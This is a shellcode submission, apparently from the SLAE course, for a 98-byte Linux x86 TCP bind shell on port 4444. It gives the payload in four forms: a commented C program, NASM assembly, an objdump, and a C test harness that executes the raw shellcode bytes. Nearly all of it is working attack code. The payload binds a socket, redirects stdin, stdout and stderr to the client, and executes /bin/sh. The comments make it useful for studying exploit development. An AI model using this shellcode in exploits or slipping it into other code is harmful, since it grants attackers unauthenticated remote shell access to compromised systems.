/* # Linux x86 TCP Bind Shell Port 4444 (98 bytes) # Author: sajith # Tested on: i686 GNU/Linux # Shellcode Length: 98 # SLAE - 750 ------------c prog ---poc by sajith shetty---------- #include #include #include #include #include int main(void) { int sock_file_des, clientfd; struct sockaddr_in sock_ad; //[1]we need to create the socket connection using socket call function //[*]Man page for socket call //----->int socket(int domain, int type, int protocol); // domain = AF_INET (IPv4 Internet protocol family which will be used for communication) // type = SOCK_STREAM (Provides sequenced, reliable, two-way, connection-based byte streams. An out-of-band data transmission mechanism may be supported // protocol = 0 (The protocol specifies a particular protocol to be used with the socket.Normally only a single protocol exists to support a particular socket type within a given protocol family, in which case protocol can be specified as 0. sock_file_des = socket(AF_INET, SOCK_STREAM, 0); //[2]Binds the socket to localhost and port (here will use 4444) using bind call. //[*]Man page for bind call //------->int bind(int sockfd, const struct sockaddr *addr,socklen_t addrlen); // sockfd = sock_file_des // const struct sockaddr *addr = (struct sockaddr *)&sock_ad (bind() assigns the address specified to by addr to the socket referred to by the file descriptor sockfd) // socklen_t addrlen = sizeof(sock_ad) (addrlen specifies the size, in bytes, of the address structure pointed to by addr.) sock_ad.sin_family = AF_INET; // Host byte order.(2) sock_ad.sin_port = htons(4444);// network byte order sock_ad.sin_addr.s_addr = INADDR_ANY;//(0)bindshell will listen on any address bind(sock_file_des, (struct sockaddr *) &sock_ad, sizeof(sock_ad)); //[3]Waits for incoming connection using call to listen //[*]Man page for listen call //------->int listen(int sockfd, int backlog); // sockfd = sock_file_des (The sockfd argument is a file descriptor that refers to a socket of type SOCK_STREAM) // backlog = 0 (The backlog argument defines the maximum length to which the queue of pending connections for sockfd may grow) listen(sock_file_des, 0); //[4]Accept the connection using call to accept //[*]Man page to accept call //------->int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen); // sockfd = sock_file_des // struct sockaddr *addr = NULL (The argument addr is a pointer to a sockaddr structure. This structure is filled in with the address of the peer socket, as known to the communications layer.When addr is NULL, nothing is filled in; in this case, addrlen is not used, and should also be NULL. // socklen_t *addrlen = NULL clientfd = accept(sock_file_des, NULL, NULL); //[5]Redirect file descriptors (STDIN, STDOUT and STDERR) to the socket using DUP2 //[*]Man page for dup2 (duplicate a file descriptor) //------->int dup2(int oldfd, int newfd); // oldfd = clientfd // newfd = 0(stdin) , 1(stdout), 2(stderr) dup2(clientfd, 0); // stdin dup2(clientfd, 1); // stdout dup2(clientfd, 2); // stderr //[6]Execute shell (here we use /bin/sh) using execve call //[*]Man page for execve call //------->int execve(const char *filename, char *const argv[],char *const envp[]); // char *filename = /bin/sh // char *const argv[] = NULL // char *const envp[] = NULL execve("/bin/sh",NULL,NULL); } ----------------------end of c program-------------- global _start section .text _start: ;syscall for socket ;cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep socket ;#define __NR_socketcall 102 (0x66 in hex) ;sock_file_des = socket(AF_INET, SOCK_STREAM, 0) ;AF_INET = 2 ( bits/socket.h) ;SOCK_STREAM = 1 (bits/socket.h) ;socket(2,1,0) xor eax, eax ; zero out eax register using XOR operation xor ebx, ebx ; zero out ebx register using XOR operation push eax ; move 0 to stack (protocol=0) mov al, 0x66 ; moves socket call number to al register mov bl, 0x1 ; moves 0x1 to bl register push ebx ; value in ebx=1 is pushed in to the stack (sock_stream =1) push 0x2 ; value 0x2 is pushed onto stack (AF_INET=2) mov ecx, esp ; save the pointer to args in ecx int 0x80 ; socket() mov esi, eax ; store sockfd in esi register ;sock_ad.sin_addr.s_addr = INADDR_ANY;//0, bindshell will listen on any address ;sock_ad.sin_port = htons(4444);// port to bind.(4444) ;sock_ad.sin_family = AF_INET; // TCP protocol (2). xor edx, edx ; zero out edx register using XOR operation push edx ; push 0 on to stack (INADDR_ANY) push word 0x5C11; htons(4444) push word 0x2 ; AF_INET = 2 mov ecx, esp ; save the pointer to args in ecx ;bind(sock_file_des, (struct sockaddr *) &sock_ad, sizeof(sock_ad)); ;cat /usr/include/linux/net.h | grep bind ;bind = 2 mov al, 0x66 ; sys socket call mov bl, 0x2 ; bind =2 push 0x10 ; size of sock_ad (sizeof(sock_ad)) push ecx ; struct pointer push esi ; push sockfd (sock_file_des) onto stack mov ecx, esp ; save the pointer to args in ecx int 0x80 ;listen(sock_file_des, 0); ;cat /usr/include/linux/net.h | grep listen ; listen =4 mov al, 0x66 ; sys socket call mov bl, 0x4 ; listen=4 push edx ; push 0 onto stack (backlog=0) push esi ; sockfd (sock_file_des ) mov ecx, esp ; save the pointer to args in ecx int 0x80 ;clientfd = accept(sock_file_des, NULL, NULL) ;int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen); ;cat /usr/include/linux/net.h | grep accept ; accept=5 mov al, 0x66 ; sys socket call mov bl, 0x5 ; accept =5 push edx ; null value socklen_t *addrlen push edx ; null value sockaddr *addr push esi ; sockfd (sock_file_des ) mov ecx, esp ; save the pointer to args in ecx int 0x80 ;int dup2(int oldfd, int newfd); ;dup2(clientfd, 0); // stdin ;dup2(clientfd, 1); // stdout ;dup2(clientfd, 2); // stderr mov ebx, eax ;move client fd to ebx xor ecx, ecx ; xor to clear out ecx mov cl, 3 ; counter to loop 3 times loopinghere: mov al, 0x3f ; sys call for dup2 int 0x80 dec cl ; decrement till 0 jns loopinghere ; loop as long sign flag is not set ;Execute shell (here we use /bin/sh) using execve call ;execve("//bin/sh",["//bin/sh"]) mov al, 11 ; execve push edx ; push null push 0x68732f6e ; hs/b push 0x69622f2f ; ib// mov ebx,esp ; save pointer push edx ; push null push ebx ; push pointer mov ecx,esp ; save pointer int 0x80 -------------obj dump------------ finalcode: file format elf32-i386 Disassembly of section .text: 08048060 <_start>: 8048060: 31 c0 xor eax,eax 8048062: 31 db xor ebx,ebx 8048064: 50 push eax 8048065: b0 66 mov al,0x66 8048067: b3 01 mov bl,0x1 8048069: 53 push ebx 804806a: 6a 02 push 0x2 804806c: 89 e1 mov ecx,esp 804806e: cd 80 int 0x80 8048070: 89 c6 mov esi,eax 8048072: 31 d2 xor edx,edx 8048074: 52 push edx 8048075: 66 68 11 5c pushw 0x5c11 8048079: 66 6a 02 pushw 0x2 804807c: 89 e1 mov ecx,esp 804807e: b0 66 mov al,0x66 8048080: b3 02 mov bl,0x2 8048082: 6a 10 push 0x10 8048084: 51 push ecx 8048085: 56 push esi 8048086: 89 e1 mov ecx,esp 8048088: cd 80 int 0x80 804808a: b0 66 mov al,0x66 804808c: b3 04 mov bl,0x4 804808e: 52 push edx 804808f: 56 push esi 8048090: 89 e1 mov ecx,esp 8048092: cd 80 int 0x80 8048094: b0 66 mov al,0x66 8048096: b3 05 mov bl,0x5 8048098: 52 push edx 8048099: 52 push edx 804809a: 56 push esi 804809b: 89 e1 mov ecx,esp 804809d: cd 80 int 0x80 804809f: 89 c3 mov ebx,eax 80480a1: 31 c9 xor ecx,ecx 80480a3: b1 03 mov cl,0x3 080480a5 : 80480a5: b0 3f mov al,0x3f 80480a7: cd 80 int 0x80 80480a9: fe c9 dec cl 80480ab: 79 f8 jns 80480a5 80480ad: b0 0b mov al,0xb 80480af: 52 push edx 80480b0: 68 6e 2f 73 68 push 0x68732f6e 80480b5: 68 2f 2f 62 69 push 0x69622f2f 80480ba: 89 e3 mov ebx,esp 80480bc: 52 push edx 80480bd: 53 push ebx 80480be: 89 e1 mov ecx,esp 80480c0: cd 80 int 0x80 ----------------------------------------------- gcc -fno-stack-protector -z execstack shellcode.c -o shellcode */ #include #include unsigned char code[] = \ "\x31\xc0\x31\xdb\x50\xb0\x66\xb3\x01\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x31\xd2\x52\x66\x68" "\x11\x5c" // port number 4444 "\x66\x6a\x02\x89\xe1\xb0\x66\xb3\x02\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x52\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc9\xb1\x03\xb0\x3f\xcd\x80\xfe\xc9\x79\xf8\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xcd\x80"; main() { printf("Shellcode Length: %d\n", strlen(code)); int (*ret)() = (int(*)())code; ret(); }